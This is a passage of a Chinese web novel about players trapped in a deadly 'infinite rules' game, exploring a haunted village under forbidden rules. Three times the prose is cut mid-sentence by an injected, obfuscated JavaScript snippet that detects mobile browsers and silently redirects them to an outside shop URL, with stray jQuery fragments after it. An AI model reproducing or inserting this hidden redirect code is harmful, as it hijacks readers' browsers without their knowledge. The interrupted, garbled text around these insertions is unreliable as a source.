希泽念完广告词,摸了摸下巴,语气都带上了困惑:“其实《无限规则》早半年前就已经发放了1000个内测名额,只是半年过去了,游戏别说上线了,连个新帖都没有,那些内测玩家就跟集体哑巴了一样,甚至连官网都不再更新了,所以一开始他们都说其实《无限规则》就是龙纹游戏推出来的噱头,公司其实根本就没研究出来稳定的‘意识剥离体感’游戏方式,你还别说,这个猜测我还真信过。” “哦?怎么说?” 希泽笑得一脸得意:“一看你就是不玩游戏的人,对龙纹游戏这个公司是没有一点了解吧。” “确实不怎么玩。”喻诗瑭相当虚心地请教,“这个公司怎么了?” “这公司早不行了。”希泽显然是个老玩家,数落起这公司的怨气都快实体化了,“尤其是这几年出的游戏,一个比一个烂不说,老游戏的维护也一团糟,苟到现在只剩老玩家的情怀在支撑,感觉龙纹推出《无限规则》这款游戏,就是拖着网友的好奇心来给自己其他游戏抬热度,毕竟龙纹游戏背靠大山,目前整个市场上除了他,也没其他游戏公司敢说自己能研发出‘意识剥离体感’的游戏。” “而且你看他这一波操作,公司上午放出游戏预告片,下午公司名下其他游戏的下载量就直线飙升,你说这不是噱头是什么?如果不是后面一个接一个的爆料贴出来,我肯定还在家按键盘喷这公司消费玩家情怀跟信任呢,你是不知道这公司多无耻!他们——” 喻诗瑭及时打断希泽准备长篇谴责游戏公司的话,问:“爆料贴?爆料什么?” “爆料游戏出事的呀。”注意力立刻被带偏的希泽开始努力回忆自己看过的帖子,“我记得一开始是有不少自称是《无限规则》内测玩家亲友的网友上网爆料,说参加内测的玩家一直都没有回来。” “回来?” “就是回家呀,因为《无限规则》需要用‘意识剥离’的方式进入游戏,所以需要特殊的游戏仓嘛,这游戏仓造价不便宜,因此那些被抽中的内测玩家,都要到龙纹游戏在每个星系开设的服务站点去玩,说是包吃包住包玩,但那些帖子说他们去了就再也没有回来过,好像说是游戏出了问题,但具体什么问题他们又说不清楚。” “本来我还觉得是假的,结果进来才发现这游戏真有问题。”说到这希泽白眼都快翻上天了,愤愤吐槽,“就那待机界面我都不想说,连个退出键都没有,公共聊天频道里全是进入这个游戏的玩家的求救留言,说这游戏疯了,我都来不及细看内容,那个破系统就一直催我进副本,我不选它就要给我随机个副本,倒计时跳得我都心惊!吓得我没办法,只能随便选了一个进来。” 来了,好多信息量!虽然有些信息像在听天书——有听没懂,但不妨碍有能听懂的部分。 喻诗瑭抓了个重点问:“你刚才说你是睡着睡着,再醒来就是游戏待机界面了?” “对啊!”希泽用力一点头,在那寻求认同,“是不是很诡异,一开始我还以为是我日有所思也有所梦呢,还在想这梦也太真实了吧。” “可是——”喻诗瑭这次问的声音放轻了不少,“进入游戏不是需要特殊的游戏仓吗?你没有进游戏仓,那你是怎么进来的?” “……啊!”希泽跟被人当头打了一棍似得,眼神都直了,“对哦!我没有游戏仓,那我是怎么进来的?!” 少年,不是我在问你吗?你这个反问是不是有点过于有灵性了? 喻诗瑭欲言又止,实在不知道该回啥,感觉这孩子有点用,但又不是那么有用。 大概是看出喻诗瑭的无语,希泽也是满脸问号地直挠头:“我真不知道啊,我就记得我在家里睡觉,也没什么特别的事发生。” 一个是莫名其妙地进了游戏,一个是连记忆都没有,睁眼就在游戏里。 喻诗瑭对比了一下两人的情况,觉得还是自己更差点。 她看了眼走在前面的玩家,想到刚才混乱中,确实看到有几个玩家被那个诡异的触角给拖进河里,再想到锦鲤给她的警告 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16662534|188515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的那条“游戏中被淘汰等同于现实死亡”,背脊突然凉了一下。 “你知道在副本中死亡代表什么吗?” “什么?”还在困惑嘟囔的希泽被问得猝不及防,一时没反应过来,直到喻诗瑭又问了一遍他才表情复杂地回答,“不知道,但我在待机界面时看到公共频道有玩家说过,自从游戏出问题以后,所有积分没达到系统要求而被淘汰的玩家,‘意识数值’会被直接清零,我觉得在副本里‘死亡’的玩家应该也差不离…吧?” “‘意识数值’被直接清零?” “嗯!等于直接变成脑死亡!”希泽拍了拍胸口,自我压惊,“所以把我捞回来的你,是不是担得起一声姐!” 怎么话题又拐回去了? 喻诗瑭“嗯嗯”敷衍了两声,其实她更想知道什么是“意识数值”。 正在喻诗瑭琢磨该怎么问合适时,前面一直行走的玩家再次停了下来。 她扭头看了眼四周,发现他们似乎已经走到了村子中心的位置,脚下的小道是没有整修过的黄土地,小道两旁是清一色破旧的红砖青瓦小平房,跟很多还住人的老村庄一样,旧,但还算干净。 唯一不寻常的,是这村子挨家挨户门口两旁都挂着写了“祭奠”两字的白灯笼,在漆黑的夜里给了行人微弱照明的同时,也给人产生了不小的心理阴影。 “嘶——姐,这村子有点阴森啊。”希泽搓了搓双臂,忍不住说,“不是都说在村子里看月亮又大又圆吗?这村子怎么看不到月亮啊,这么黑。” 嗯? 喻诗瑭抬头看了眼天空,确实跟希泽说的一样,天空黑得像被块黑布给盖住了一样,一点星光都看不到,难怪村子里会黑成这样。 “可能……今天阴天吧,月亮被乌云遮住了,村子外面不也都是雾嘛。” “有道理。”希泽点点头,显然是被说服了。 随口胡诌的喻诗瑭:“……” “各位安静了!”再次开口的村长目标明显地瞪了他俩一眼,脸黑的连手上的煤油灯都照不亮堂,见他俩闭嘴了才忍着怒气继续,“现在天色已经晚了,大家各回各家去吧,有事明早再说。” “等一等!” 村长说完就要走,却被一个女生给拦下了,女生扎着个高马尾,加上还没褪去婴儿肥的娃娃脸,看上去像是个涉世未深的大一新生,她拦着村长的手臂肉眼可见地发着颤,脸上的肌肉也明显快控制不住表情了,强撑着颤抖的声音问:“你不带我们去我们住的地方吗?” 村长冷哼一声,脸上堆满毫不掩饰的不耐烦:“你们回自己家为什么我要带?” “可是…可…”女生“可”了半天也没“可”出个理由。 “说不出就让!开!”一个晚上尽是遭罪,村长的怒气显然已经濒临爆表,最后两个字说得一个比一个重,女生好不容易鼓起的勇气“啪”一下被散得干净,哆哆嗦嗦地让到一旁。 “哼!!!”又是一声充满情绪的拟声词,喻诗瑭觉得这次村长连背影都显得异常愤怒。 不过这村长再愤怒也不关她的事了,因为她听到系统的提示音又响了。 “叮,个人任务已领取,请玩家务必在时限内完成,若任务失败,玩家将被扣除相应积分。” 喻诗瑭点开任务面板,眉尾下意识轻扬了一下,有点不可置信。 这次的任务怎么这么简单? 5. 三更鼓 角色类型:玩家 公共任务:未完成前置 个人任务:找到自己家 任务时限:无 个人积分:5 禁忌规则:3 喻诗瑭不可置信地把个人任务来回看了两遍,这连个任务时限都没有?那她没素质一点,一家一家敲过去是不是也行? 联想到刚才第一个任务,她总觉得这神经病一样的游戏不会给个这么简单的任务。 最重要的是,原本为“0”的禁忌规则变成“3”了,喻诗瑭第一反应就是跟刚才村长讲的那三条注意事项有关。 如果真的有关,那这个任务可就一点都不简单了。 她扭头问希泽:“你的任务是什么?” “找到自己家。”希泽这会倒是问啥说啥,老实得跟一开始那个反问怪仿佛两个人。 果然跟她的一样。 喻诗瑭:“你的有时限吗?” “没有。”希泽愣了下问,“你的有时限?” “也没有。” “那这个任务不是很简单吗?”希泽的脑回路又跟喻诗瑭的对上了,乐观地提议,“咱们挨家挨户去问不就成了,虽然有点扰民,但也能完成任务吧?” 喻诗瑭觉得这孩子聪明的真是一阵一阵的,一开始觉得像个花瓶,后来发现警惕心强的像满是心眼的莲蓬,这会放下警惕心脑子又跟直的一样,真不知道他哪一部分是装的。 不确定的就都按装傻走。 喻诗瑭学着他之前不答反问:“你的禁忌规则是不是变成3了?” “是啊。”希泽回答完又疑惑,“这个禁忌规则不都是统一的吗?它会根据人不同,有所不同吗?” 我怎么知道。 喻诗瑭干咳一声,随口糊弄:“谁知道呢,这游戏不是在发疯吗?万事皆有可能。” 希泽认真思索了一下,赞同地点头:“有道理诶!” 喻诗瑭:“……那你觉得这三条禁忌规则是什么?” “应该跟刚才进村前,那个村长给的三个提醒有关吧?”希泽的记忆力里相当惊人,立即一字不差地把村长说过的三个提醒重复了一遍。 “村里没路灯,所以太阳落山后请各位不要随意出门。” “村里近几年壮年减少,所以粮食得来不易,请不要浪费。” “最近会有很多外村人来悼念老村长,各位如果需要帮忙,请勿把外村人认成本村人。” 希泽不确定地问:“这三条里没说不能扰民吧?” “是没说不能扰民,但不代表你能随便敲门,‘请勿把外村人当成本村人’,所以你怎么保证来应你门的一定是本村人?如果是外村人呢?算犯规吗?” “对哦!”希泽一脸的恍然大悟。 “而且——”喻诗瑭问他,“你知道禁忌规则犯了会怎么样吗?” “会死。” 这次地回答不是来自希泽,而是另一个带颤的女声。 喻诗瑭跟希泽同时回头,看到的居然是刚才拦住村长的女生。 女生现在状态肉眼可见的差,身上又是水又是泥混在一起的狼狈已经是次要的了,惨白的脸感觉比灯笼都亮,发青的黑眼圈围着的是充满红血丝的眼睛,整个人快赶上睁眼的恶鬼了。 “你们是新人吧?” “你要干嘛?”希泽侧身挡住喻诗瑭,表情一下严肃了起来,“我们不认识吧?” “不要误会,我没有恶意。”女生深吸了口气,像是在努力平复心情,“我叫谷琳琳,这是我第五个副本了,我可以帮你们。” “莫名其妙的帮我们?你圣母啊?”希泽明显是不信,“再说,看你的状态,你比我们更需要帮助吧?” “我当然不是无条件帮你们,我愿意帮你们,同样的,你们也要帮我。” 喻诗瑭听到这,脑袋往右一歪,从希泽的手臂侧探出头:“我们的对话你都听到多少?” 没想到对方突然来了这么一个风牛马不相及的提问,谷琳琳沉默了一会还是老实回答:“很多,从你们在车子里的谈话开始。” “嚯~居然这么早?”希泽震惊。 “嗯,她当时就坐在我前面。”喻诗瑭冲谷琳琳抬了抬下巴,“我记得她的那个兔子头绳。” 谷琳琳条件反射般按住自己的头绳,抿了下唇没说话。 “哇~”希泽一声赞叹拉得老长。 其他玩家早在村长离开后就陆续离开,这会就只剩他们三个在这大眼瞪小眼。 最后还是喻诗瑭打破僵局先发问:“你要我们帮你什么?” “互帮互助,我们合作,也就是组队。”谷琳琳绷着身体开始跟他们谈条件,“我能提供我对这个游戏现状的所有了解,同样的,作为我的队友,你们也要保护我的安全。” “你也知道我们是新人,你一个过了四次副本的人来找我们寻求保护——”喻诗瑭歪着脑袋,满脸纯良,“不合理吧?” “对啊,不合理!”希泽重复强调重点。 “我看到你是怎么救他的!”谷琳琳哑着嗓子,神情激动地往前迈了两步,希泽立刻抬手挡在身前,连着“诶”了好几声,示意她不要再靠近了。 “我看到你救他了,你明明不认识他,但你还是救他了!”谷琳琳站着没再动,胸口却在剧烈地起伏着,语速快但清晰,“这里除了你们都是老手,我没有能相信的人了!我能帮得上你们的,真的!你们信我!” 喻诗瑭:“为什么老手不能相信?” 希泽:“是啊,为什么啊?” 谷琳琳没有回答,抖着手轻声问:“我说了你们会答应跟我合作吗?” “嗯——不能。”喻诗瑭想了会,回答地老老实实,“因为我不相信你,就算你说了,我也没办法验证你说的是真是假。” 看到喻诗瑭说完立刻把脑袋缩回希泽身后,谷琳琳急地又要往前冲,她不敢放开声喊,但又迫切地想让他们两人听清自己的话:“我不会骗你们的!你知道你们会死吗!你们会死在这个游戏里!” “喂喂喂,差不多行了啊,再靠近我就喊非礼了啊!”希泽不敢推她,只能双手交叉护在自己身前,压着声音警告地毫无威慑力,“大晚上的你也不想因为扰民被抓吧,去去去,往后站一点!” “你们相信我,真的!”谷琳琳眼眶红得更厉害了,看上去像是真没了办法破罐子破摔一样,一股脑地开始往外倒,“新人玩家过了三轮副本后,就会被迫进入总积分榜进行排名,榜单是每天更新,更新后排名末10位的玩家将在零点被抹杀!” “所以现在玩家们都疯了,为了自保,有些还在努力赚积分提高自己的排名,但有些玩家选择去害其他积 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16662535|188515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分不高的玩家让他们垫底,你根本不知道你面对的个怎样的玩家!” “这个副本现在除了你俩,其他人都在总积分榜上,你们现在不在总积分排行榜上,我害你们没有任何意义,我是真的没有能相信的人了!” “哦?”喻诗瑭又探出头,但这次是侧向希泽的方向。 她确实在自己的个人信息里看到过一个未开启的积分榜排名,但上面并没写未开启的原因,也没介绍是个什么东西,她不知道待机界面里的信息会不会多一点,只能装作记不清的样子问希泽:“我好像隐隐约约看到过这个排名,但当时东西太多,没太细看,你见过吗?” “当然!我进去就看到了!喜欢打游戏的谁不在意排名。” 希泽都没怎么回想,关于榜单的细节就脱口而出:“那个榜单底下的按键是灰色的,写了个未开启,然后还有一小行备注,我记得是‘玩家需先完成三轮副本,解锁新人成就后才能开启’这么一句,我还吐槽了一句这榜单要求还挺高。” “看,我没有骗你们。”谷琳琳勉强放缓语速商量着,“而且你们两个人,我只有一个人,如果你们想害我一样简单,我只是想寻求一个小队,我能给你们提供很多有用信息,帮你们少走很多弯路!我真的不想死在这个游戏里。” “瞧你说的。”捧哏王希泽不赞同地说,“谁想死在游戏里,听着就很憋屈。” 这倒是大实话,没人想死得这么莫名其妙。 喻诗瑭挠了挠脸,看上去像是在认真思考谷琳琳的话,过了好一会她才在对方恳求地视线下开口:“那你是怎么进入这个游戏里的?” “我不知道,我真的不知道。”像是怕喻诗瑭他们不信一样,她一连重复了好几遍“不知道”才说清自己是怎么进来的,“我本来在家睡午觉,醒来以后就在游戏里了。” “诶?”希泽眨了下眼,扭头凑到喻诗瑭耳边小声地说:“她跟我不一样诶。” ?有什么不一样?你不也是睡一觉进来的吗? 喻诗瑭没说话,但表情已经替她问出了心底的疑惑。 希泽煞有其事地解释:“她是睡午觉,我是晚上睡觉。” 喻诗瑭:“……” 失算了,在听到答案前她居然还认真了。 虽然没听清楚希泽说了什么,但谷琳琳注意到了两人的交流,她赶紧又补充了几句:“虽然我不知道我为什么进来,但我之前就知道《无限规则》这个游戏,也申请过它的内测资格。” “你申请过内测资格?”喻诗瑭重新看向她,“通过了吗?” “没有。”谷琳琳使劲摇头,“如果通过我肯定会去游戏公司体验的,我当时只收到了邮件,上面说我没有被抽中内测资格,但是进入了候选名单。” 喻诗瑭:“候选名单?” “对!邮件里说如果有玩家没有来参加内测,或是内测期间有玩家主动退出,那作为候选人的我就有资格再被抽选,还有,还有什么来着。”谷琳琳使劲回想邮件上的内容,“还有——” “还有一份确认玩家自愿进入《无限规则》这款游戏的同意书,以及——” 喻诗瑭的视线落到了希泽的身上,看着他补充完谷琳琳没有想起的其他内容:“以及一份保密协议书。” 希泽愣愣地看着喻诗瑭说:“我也收到过那封邮件。” 6. 三更鼓 伸手不见五指的黑夜里,两道鬼鬼祟祟的身影弓着背,面对面贴在破旧的围墙外蹲下,手电筒传来的微弱光线成为两人唯一的照明工具。 “老大老大,这手电筒是不是要没电了啊?”其中戴着鸭舌帽的男人哆哆嗦嗦地指着手电筒,“它好像越来越暗了。” “闭嘴,喊个屁。”留着寸头的高大男人啐了他一声,心里却也有些慌地晃了晃手电筒,他记得兑换时上面明明写着可用时限为一个小时,可这才过去几分钟,这光线就弱得像是随时要罢工似得,“妈的,浪费老子这么多积分换得什么玩意,这破游戏就他妈纯坑人,等老子出去看我不砸了那破公司。” “那,那我们现在怎么办啊?不去找‘家’吗?”帽子男人已经顾不上出去秋后算账的事了,他只想先平平安安地过完这个副本。 “找个屁‘家’,这任务没有时限你怕个屁,现在我们不确定怎么触犯规则会死,瞎他妈找出事了怎么办?”寸头男阴森森地说,“等死两个人试出规则再说。” “可这怎么等啊?万一我们先出事了怎么办?”帽子男的眼睛一直在神经质地乱飘,显然是情绪已经绷到了极点。 “万一万一,哪他妈那么多万一,给老子闭上你的嘴,再多说一句老子让你的万一直接成真你信不信!” 帽子男被骂得一个音节都不敢再发出,而寸头男骂完心里也觉得有些虚,他抬头看了眼身后不比自己高多少的矮墙站了起来。 “老,老大?”帽子男不明所以,也跟着站了起来。 “翻过去。”寸头男说完把手电筒往腰间一别,两手扣上墙头,右脚一个用力蹬在墙面上,轻松地跳上墙头,但他上墙的动作太大,手电筒一个没扣住从他腰间滑落,掉在墙内发出一声“嘭”响。 两人都被这一下惊出一身冷汗,帽子男更是吓得一个腿软直接坐在了地上。 寸头男盯着手电筒在地上滚了几圈,原本就微弱的光线“滋滋啦啦”地闪了几下,到底还是坚强得撑住了。 一直到手电筒的光稳定下来寸头男才松了口气,后知后觉地发现自己的手心里全是汗。 “赶紧上来!我先下去看看。”满眼都是手电筒的寸头男,头都没回地丢下这句话后,立即跳进园内去捡手电筒。 原本就只靠手电筒维系亮光的墙外早就彻底暗了下去,四周黑得像被泼了墨,一点能见度都没有。坐在地上的帽子男打了个冷颤,抖着手去扶墙壁,他现在根本不在乎四周黑成什么样,因为就算有光他也不敢乱看,生怕自己会看到什么不该看的。 好不容易才靠着墙壁站起,帽子男满脑子都是赶紧翻过去找寸头,他没寸头高,但原地小跳也能够着墙头,只是他刚抬起手就被墙壁上跟着动的灰色影子吓了一跳,缓了几秒才反应过来是自己的影子。 真他妈要被这破游戏搞疯了!帽子男忍不住在心里连骂几声,几个大喘气才平复好心跳,他举起双手屈膝正准备往上跳,人却突然僵在原地,冷汗更是顺着鬓角流到了下巴。 没有光,四周一点光线都没有,手放到眼前都只能看到个模糊的轮廓,就算有影子也该跟黑夜融为一体了,怎么可能会出现比黑色还要亮上一个度的灰色影子呢? 这影子……哪来的? 像是读懂了帽子男心里的疑问,原本动作跟自己一致的灰色影子突然放下双手站直身体,跟着又抬起一只手冲帽子男挥了挥,另一只手则捂在了它嘴巴的位置。 同一时间,帽子男感觉到自己的口鼻被一只冰凉的手掌给捂住了,他发疯似得伸手想去抓扣在自己脸上的手,然而除了在自己脸上留下了一道道鲜红的抓痕外,一无所获。 扣在帽子男脸上的“手”在越收越紧,他挣扎地也更加用力,痛觉似乎已经从他身上消失,只留下脸上一道道深可见骨的抓痕。 而灰色影子另一只正在挥动的手此时也停了下来,转而移到了自己的脖颈处,就这么轻轻一拎,帽子男跟影子同时被提了起来,无论帽子男悬空的双脚如何踢踹,也阻止不了自己被“拎”进小巷的尽头,彻底融进黑夜里。 不一会,一盏写着“祭”字的白灯笼从小巷另一头的拐角处探出头,紧跟着另外两盏同样的白灯笼也一起进了小巷,并缓缓向前移动。 “小喻姐,我们直接拿别人家门口的灯笼不合适吧?”希泽提着白灯笼心里有点毛毛的,“这算不算偷啊?” “说什么偷。”喻诗瑭纠正他的用词,“我们是借,明早再还回去就好了,而且我们一家借一盏,不耽误剩下的一盏给人照明。” “那我们为什么走后巷啊?”希泽看了眼手上提着的灯笼,默默地把它往旁边挪了挪,“我们要找自己的‘家’不应该看看前门吗?” “前门巷子那么多人,有一个出事都得连累我们一起。” 希泽震惊:“那要是我们出事呢?” “不要说不吉利的话。”喻诗瑭顶着张厌世御姐脸,用词尽是出乎意料,“年轻人要懂得避谶,老祖宗的话要听。” 希泽击了下掌心,听话附和:“有道理!” 谷琳琳:“……” 这俩真的是新人吗?心态也未免有点太好了吧?而且刚刚明明差点死了,怎么一点危机感都看不到? 担心是自己说得不够清楚,谷琳琳犹豫了一下还是又小声提醒了一次:“那个,玩家如果在副本内‘死亡’,虽然意识不会立刻被清零,但是会被关进‘小黑屋’直到副本结束,同时还会被扣除这次副本所有玩家获得的积分总和,之前有个副本只有一个玩家开局就‘死’了,等到副本结束后,那名玩家一共被扣了两千多积分,直接成为总榜垫底。” “知道呀,你刚才不是说过了吗?”希泽担忧地看着她,“你看你年纪轻轻忘性这么大,你平时睡眠质量是不是不太好啊?可以向小喻姐取取经,她睡眠质量贼好,进副本都能睡得昏天暗地还做梦——虽然是噩梦。” 喻诗瑭:“……” 谷琳琳:“……” 她就多余废话。 “嘘——”喻诗瑭停下脚步,制止了还准备温馨建议的希泽,示意他先别说话。 谷琳琳一看她的动作瞬间紧张起来,反观希泽听话的停下后,满是好奇地学着喻诗瑭侧耳倾听的动作。 “咚,咚,咚。” 每隔几秒就敲击三下的响声由远至近,声音低沉,仔细听像是木棒敲击小鼓所发出的声音,在静到连风声都没有的夜里,自顾自地进行着诡异的节奏。 好在那敲击声只经过外面的主道,不过一会便渐行渐远,直至消失。 什么声音? 希泽张了张嘴,无声地问。 “不知道。”喻诗瑭刚回答完就看到谷琳琳一副摇摇欲坠的样子,脸色差到她都担心对方但凡少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16662536|188515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呼吸一口,都能原地嘎过去,“你怎么了?” “鼓,是鼓声,打更鼓了!”谷琳琳哆嗦着嘴回答,“有提到的,副本介绍里有提到的!” 见喻诗瑭跟希泽没有半点反应,谷琳琳对自己选择的队友陷入了深深地怀疑:“不是,你们都没看副本介绍吗?!副本介绍上面有写啊,什么一更鼓,鸡怎么,二更狗,三更什么的,就是打更的那个!” 打更鼓?三更鼓? 喻诗瑭醒来就在副本里,完全没有看副本介绍机会,她唯一能联想到的就只有副本名字,倒是希泽一拍手,恍然大悟:“哦~你说那个啊,三更鼓,一更鼓,鸡上架,二更天,狗叫家,三更半夜不回头,后影招魂怕人家。” 什么意思? 喻诗瑭看着希泽等他解释。 结果念完打油诗,希泽双手一摊:“没了,简介上就写了这首诗,话说这算是诗吧?反正连作者都没标,更别说解释这诗是啥意思了。” 喻诗瑭又看向谷琳琳。 “我没背下来整首诗。”谷琳琳表情有些尴尬,说完后又赶忙给自己找补了一句,“但是我能确定介绍里没有其他的内容了。” “这游戏怎么连介绍都这么含含糊糊!”希泽见缝插针地吐槽了一句,“等我出去一定要万字长评实名辱骂这破游戏。” “那等出去了再说。”同样准备出去万字长评的喻诗瑭习惯性地抬起左手,空空如也的手腕让她愣怔半秒,随即有些变扭地放下手问:“你们谁戴手表了?” “没有。”希泽摇摇头,谷琳琳也赶紧跟着摇头。 希泽好奇:“戴那玩意干什么?” 戴那玩意还能干嘛? 喻诗瑭:“……看时间?” 希泽:“看时间干嘛?” 喻诗瑭:“……你知道一更,二更,三更分别对应的时间是几点吗?” “啊?这更还对应时间呢?”希泽一脸茫然,转头问谷琳琳,“你知道吗?” “不,不知道。”谷琳琳也是满脸无措,“没,没听过这个东西。” “是对应的。”喻诗瑭简单给两人解释了一下,“以前古地球有些人类在没有钟表的时期,晚上会有打更报时的守夜人,他们会在特定的时间点敲击更鼓,用特定的节奏来代表时间,一更通常在八点前后,二更是十点前后,三更就是午夜时分,十二点前后。” 谷琳琳反应过来:“所以你要看时间是想知道刚才敲的是几更鼓?” “嗯。” “哇!不愧是小喻姐!古地球人类的生活习性这么生僻的知识点都懂!”希泽星星眼地鼓起掌,一旁的谷琳琳也赶忙跟上。 喻诗瑭不知道这俩是演的还是真的,但不妨碍她淡定地摆摆手,一副大佬基操的架势。 不过更鼓时间算生僻的知识点吗?喻诗瑭在心里琢磨,如果真的算生僻,那知道这些知识的自己……难道是个历史老师? “不过我们三个都没有手表,看不了时间。”谷琳琳看了看天,“但光看这天黑的,应该不是十点就是午夜吧?” “不一定。”喻诗瑭摸了摸自己身上半干的衣服,又看了眼不远处后门旁种的小树解释,“如果这个副本真的是按照以前地球人类的时间线为背景,那根据现在的温度,还有那棵树的树叶脱落情况来看,现在应该已经入秋,入秋后的八点前后,天也应该全黑了。” 7. 三更鼓 人类是在地球彻底放弃他们前才研究出——如何利用虫洞在不同星系中穿梭进行宇宙航行,但不是每个星系都有恒星,所以现在很多星系里住人的星球都是靠人造大气层跟人造阳光来模拟昼夜。 除了特别富有的几个星系外,其余的星系为了节约成本,只会模拟一个恒温天气贯穿全年,因此很多人从出生开始就没感受过四季,包括谷琳琳。 她对四季变化的了解仅限于书本与电视网络,所以才无法在第一时间反应过来季节的不对。 “我还以为我觉得冷是因为衣服打湿了。”谷琳琳拢了拢自己的衣领问喻诗瑭,“你是首都星系的人吗?我听说首都星系的所有星球都模拟了四季变化,是不是真的啊?” 喻诗瑭:“……” 巧了,她也不知道。 她对四季变化的了解是来自于没有被遗忘的知识,她也不知道这些知识究竟是来自于资料,还是来自于自己的亲身体会。 正想该怎么回答含糊过去,就看到希泽一脸惊喜地发问:“哇小喻姐,我们是来自一个星系的诶,我住在首都星,你是住在哪个星球啊?” “……不要透露太多自己的信息。”喻诗瑭接着希泽的话把这个话题给带了过去。 “哦…”希泽扁了下嘴,老实下来。 “抱歉,我就是随口问的,没别的意思,因为我的星系没有四季,所以我比较好奇四季的感觉。”谷琳琳非常有眼色地道了个歉。 “不是你的问题不用道歉。”喻诗瑭想了下又补了一句,“没什么太大的感觉,就是温,热,冷,很冷。” 谷琳琳愣了一下,笑了起来:“嗯。” “嗯啥?”希泽凑了过来,不太明白,结果得到的只是对方弯着眼的一句“没什么”。 没等希泽搞明白对方一会一阵的情绪,清脆的系统提示音便同时在三人耳中响起。 “叮,恭喜玩家开启规则一条~请各位玩家务必好好遵守规则,再接再厉~” “什么意思?”喻诗瑭边问边点开自己的任务面板,果然原本为“3”的禁忌规则变成了“4”。 同样打开任务面板的谷琳琳困难地吞咽了下,颤颤巍巍地说:“有玩家找到隐藏的规则并开启了。” 喻诗瑭关掉面板问:“谁?什么规则?” “不知道。”谷琳琳摇头,“系统不会透露是哪位玩家开启了规则,至于开启了什么规则也只有这名玩家自己知道,所以要么开启规则的玩家主动说,要么就是你能根据规律,推测出禁忌规则。” “根据什么规律?” “……就是在因触犯规则死亡的玩家身上,寻找他们死亡的共同规律,从而推测出禁忌规则,也就是老玩家口中说的‘死测’。” 谷琳琳话刚落音,一道尖锐地惨叫声如刀锋一般划破寂静。 希泽原地一个激灵,在一连串地“救命”声中白了脸:“卧槽,吓死我了,差点腿软跪地上。” “别,别差点了。”已经坐地上的谷琳琳抖着手说,“能不能扶我一把?” 喻诗瑭弯腰扶起她,让她靠在自己身上给了点支撑,同时捡起对方的灯笼重新塞回她的手上。 谷琳琳条件反射地攥紧灯柄,过度惊吓让她连喻诗瑭塞给自己拿着的是什么都没注意。 “小喻姐还是你说的对。”希泽按着心脏靠在墙壁上,“还好没跟他们一样在前门,不然这会肯定是‘救命’中的一员。” 喻诗瑭看着不远处的漆黑小巷,一直平整的眉心皱了起来:“来了。” “什么来了?” 回答希泽的是一连串由远至近的惨叫与求救,以及一个连滚带爬地身影出现在三人的视线内。 “救救我,救救我!”看到前面有人,出现的身影顿时激动起来,想也不想的就冲他们跑来。 然而不知道是过于激动,还是力气终于耗尽,他一个踉跄,摔在距离喻诗瑭他们有一段路的位置,双手却还在挣扎着朝三人爬来。 “喂,你没……”事吧? 希泽正准备过去帮他,但步子刚迈到一半,就跟嘴里的话一起停在原地。 一只不过半米高的公鸡从黑暗中踱步而来,层层叠叠的羽毛干净艳丽,鲜艳的鸡冠红得仿佛能滴出血,喙尖则是突兀的银色,黑到发亮的眼珠幽幽地盯着几人,像是无声地警告。 希泽想不到自己有一天会被一只鸡给吓得不敢上前,刚准备硬气点,很快又被现实给打了回来。 他眼睁睁地看着那只公鸡展开翅膀,连着扑扇了几下朝前冲去,没几步就落在正爬行的男人背上,明明看着不重,但落在男人身上却压得对方无法动弹,锋利的爪子缓缓下勾,在男人不断地哀叫声中死死地镶进对方的背脊。 “这……这鸡……兄。”希泽在公鸡地注视下默默地补上了一个敬称,“……有点怪。” 喻诗瑭无语地看了一眼希泽,没对他的称呼做出评价。 “放过我,求求你放过我,救我,救救我,我要退出,我要退出这游戏,求求你们让我退出游戏。”男人的四肢在地上疯狂地挥动,只剩几句求饶跟求救的话反反复复。 公鸡侧了侧脑袋,也不知道是不是能听懂对方的求饶,眼皮来回翻腾了两下,跟着扬起头,一个猛子冲着男人的头颅就啄了下去——一下接着一下。 头骨脆裂的声音被掩盖在男人凄厉地惨叫声下,鲜血顺着男人的脸跟脖颈滴下,在泥土地面上落下了一个个小血洞。 刚才在吊桥被触角攻击的画面跟眼前的一比,完全不是一个风格,前者属于大场面冲击,后者则属于精神层面的单挑了,希泽本能地往喻诗瑭的方向靠了靠。 “小喻姐,这…这鸡兄…是疯了吗?” 喻诗瑭:“……” 难评。 男人的求饶很快就在公鸡喙尖不间断地攻击下逐渐减弱,没一会就趴在地上一动不动了,公鸡这才停下攻击重新抬起头,冷冷地看向剩下的三人。 血滴挂在鸡喙尖要落不落,看得喻诗瑭三人没一个敢轻举妄动。 